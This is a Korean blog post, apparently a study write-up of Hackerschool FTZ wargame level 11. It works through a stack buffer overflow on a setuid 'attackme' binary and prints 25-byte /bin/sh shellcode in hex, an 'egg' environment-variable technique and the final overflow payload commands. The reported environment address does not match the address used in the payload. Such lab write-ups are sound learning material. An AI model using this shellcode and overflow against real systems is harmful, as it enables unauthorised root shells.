해커스쿨 FTZ - 11단계

힌트는 그렇다고 한다. 그래서 무작정 gdb로 분석하려고 했다.
어셈블리어는 모르지만, 16진수로 108이라는 숫자는 264를 의미한다. (gdb 켰는데, setreuid 함수 전의 내용을 찾아보다 보니 저게 눈에 들어왔다)

찾아보니 저 264라는 숫자는 버퍼 256바이트, 더미 8바이트라고한다. (더미는 왜 붙는지 모르겠다..??)
그래서 메모리 구조는 버퍼 256바이트, 더미 8바이트, sfp(스택 프레임 포인터) 4바이트, 리턴 4바이트의 조합으로 총 272바이트이라고 한다.

공부한바에 따르면, 리턴은 다음에 실행할 명령이 위치 할 주소를 담는다.
그렇다면 메모리상에 내가 실행시킬 명령어를 넣은 뒤에 리턴을 덮어씌워 그곳을 가리키면 될 것 같다는 생각을했다. 그리고 그 곳을 알아내는건 메모리 조사를 하면 될거같다고 생각했다!

검색을 통해, 이런식으로 공격을 할때는 셸코드 라는것이 필요하다는것을 알아내었고 25바이트 셸 코드를 받아왔다.

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

strcpy 부분이 공격이 실행되는 부분이라고 생각해서 b *main+48 명령어로 브레이크 포인트를 걸었고, 다음과 같은 명령어를 통해 페이로드를 구상했다.

r `python -c 'print "\x90"*243+"A"*25+"\x90\x90\x90\x90"'`

\x90은 NOP 으로 아무런 작업도 하지 않아 미끄러지듯 계쏙 다음 작업으로 넘어가고(Nop Sled), A를 25개나 둔 이유는 메모리 조사를 할 때에 공격코드의 위치를 보기 편하게 하기 위해서였다. 이후에는 RETN 역시 NOP으로 덮어씌웠다.(마찬가지로 메모리 조사를 할때에 공격코드의 위치를 보기 편하게 하기 위해서)

그래서 메모리 조사 명령어인 x로 스택의 최상단인 esp부터 대충 한 900개 정도 조사를 해 보았다.


찾았다. 메모리는 리틀엔디안 방식으로 적히니 해당 양식에 맞게 페이로드를 짜주면 될것이다.


....라고 생각하며 풀었는데 Segmentation Fault 가 계속 뜬다!

그래서 검색 도중, 환경변수안에다가 셸코드를 넣고 해당 환경변수가 위치한곳으로 RETN 값을 수정하는 에그셸이라는게 있다는것을 알게되었다!

bash 에서
export egg=`python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
를 입력하여 환경변수 egg에 셸코드를 넣는다.

환경변수의 주소를 반환하는 getenv() 함수를 사용해야한다. stdlib.h에 선언되어있다.



실행해보니 주소는 bfffff36으로 나왔다. 따라서 페이로드는 다음과 같을것이다:

./attackme `python -c 'print "\x90"*268+"\xec\xf9\xff\xbf"'`


Comments

Popular Posts